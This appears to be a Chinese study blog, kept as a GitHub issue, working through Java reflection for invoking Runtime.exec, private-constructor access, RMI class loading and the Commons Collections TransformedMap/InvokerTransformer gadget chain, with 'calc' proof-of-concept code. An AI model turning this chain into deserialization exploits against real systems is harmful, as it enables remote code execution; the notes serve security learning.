Aaisui / Blog

Aaisui的博客。
5 stars 0 forks source link

Java #20

Open Aaisui opened 3 years ago

Aaisui commented 3 years ago

如何通过JAVA反射来得到一个runtime exec? 我将我编写的代码写在下面:


public class test {
    public static void main(String[] args) {
        try {
//            Process proc =Runtime.getRuntime().exec("exefile");
            Class<?> aClass = Class.forName("java.lang.Runtime");
            Method getRuntime = aClass.getMethod("getRuntime");
            Method exec = aClass.getMethod("exec", String.class);
            Object invoke = getRuntime.invoke(aClass);
            exec.invoke(invoke,"calc");
        } catch (Exception e){
            System.out.println("fak");
        }

    }
}

我们如果正常的创建的话只需要Process proc = Runtime.getRuntime().exec("calc")即可。但是反射的话就麻烦许多了,首先我们需要通过三选一的反射方法获取到一个实例


Class.forname()
obj.getClass (如果存在某个obj的实例的话可以这样
Aaisui commented 3 years ago

invoke方法是非常有用的,借用P牛的一段话:

invoke 的作用是执行方法,它的第一个参数是:
如果这个方法是一个普通方法,那么第一个参数是类对象
如果这个方法是一个静态方法,那么第一个参数是类
这也比较好理解了,我们正常执行方法是 [1].method([2], [3], [4]...) ,其实在反射里就是
method.invoke([1], [2], [3], [4]...) 。

稍微补充一下就好了,如果我们要调用的是:Runtime.getRuntime().exec("exefile"); 那我们需要的是:Runtime.getRuntime()这个对象,所以上面那段代码我们如果真正按照逻辑来是这样写的:

 Class<?> aClass = Class.forName("java.lang.Runtime");
            Method getRuntimeMethod = aClass.getMethod("getRuntime"); //
            Object invoke = getRuntimeMethod.invoke(aClass); // 因为调用Runtime方法之后是个对象,所以此时返回的便是一个对象
            Method execMethod = aClass.getMethod("exec", String.class);
            execMethod.invoke(invoke,"calc");

验证上面那段注释可以这样: 图片

Aaisui commented 3 years ago

在P牛的反射篇中留下了两个问题:

第一个问题的解

首先如果无参构造方法的话,我们一般可以直接newInstance 来解决这个问题,其实我觉得阿,如果是一个开发,肯定也会遇见这种问题,所以肯定有对应的解决方法,也就是getConstruct了,我们只需要在newInstance之前添加一步这个,即可用该方法返回一个使用我们指定的构造器的对象,口述的话略有繁琐,直接看代码:

            public static void main(String[] args) {
        try {
            Class<?> aClass = Class.forName("com.web.Person");
//            aClass.newInstance();
            Constructor<?> constructor = aClass.getConstructor(String.class);
            constructor.newInstance("PAT");
        } catch (Exception e){

            System.out.println("fak");
        }

    }

class Person{
    public Person() {
        System.out.println("I AM TOM");
    }

    public Person(String name) {
        System.out.println("I AM "+name);
    }
}

如果我们直接使用newInstance则是使用了无参方法,而我们使用getConstuctor可以选择任意构造器并返回使用该构造器的独享了

第二个方法的解

构造方法是私有方法的话我们可以使用:getDeclaredMethod,该方法相较于getMethod 可以获取当前类的私有方法,但是缺点是无法使用父类的方法了。而getConstruct和getDeclaredConstruct是一样的。 使用如下:

 Constructor<?> constructor = aClass.getDeclaredConstructor(String.class);
            constructor.setAccessible(true); //意思就是改方式是用来设置获取权限的。如果 accessible 标志被设置为true,那么反射对象在使用的时候,不会去检查Java语言权限控制(private之类的);
            constructor.newInstance("PAT");

举个例子,前文我们说过Runtime这个类的构造函数是私有的,我们需要用 Runtime.getRuntime() 来 获取对象。 那么学了这个以后我们就可以这样写了:

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) {
        try {
            Class<?> aClass = Class.forName("java.lang.Runtime");
            Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
            Method execMethod = aClass.getMethod("exec", String.class);
            declaredConstructor.setAccessible(true);
            execMethod.invoke(declaredConstructor.newInstance(),"calc");

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}
Aaisui commented 3 years ago

RMI

关于RMI我觉得是远程连接一个服务器,我们使得其发起远程连接获取一个类,在这种情况下如果我们的类是一个恶意类,并把恶意代码写到初始化的状态之下,则会导致恶意代码注入的结果

Aaisui commented 3 years ago

CommonCollections

直接来分析P牛给出的Demo:

package ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]
                    {"calc"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        outerMap.put("test", "xxxx");
    }
}

如果我们使用运行这段代码,将会弹出计算器,我个人的理解是 这样子的:

那么我们的调用链可以理解为:

那么如何触发呢? 实际上可以这样来看: TransformedMap.decorate(innerMap, keyTransformer, valueTransformer); 该方法接受三个参数,第一个参数用于接受一个Map对象,第二个参数对Key进行修饰,第三个参数则是对Value进行修饰

这个函数的意思就是:TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可 以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map

很浅显的意思就是,TransformedMap.decorate允许我们显式的自定义Map添加元素的时候,key和value该如何被包装。 当我们添加元素的时候自动调用

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

我们看这个方法的时候可以看见她接受Transformer 类,那么我们在此时放入一个ChainedTransformer 类即可。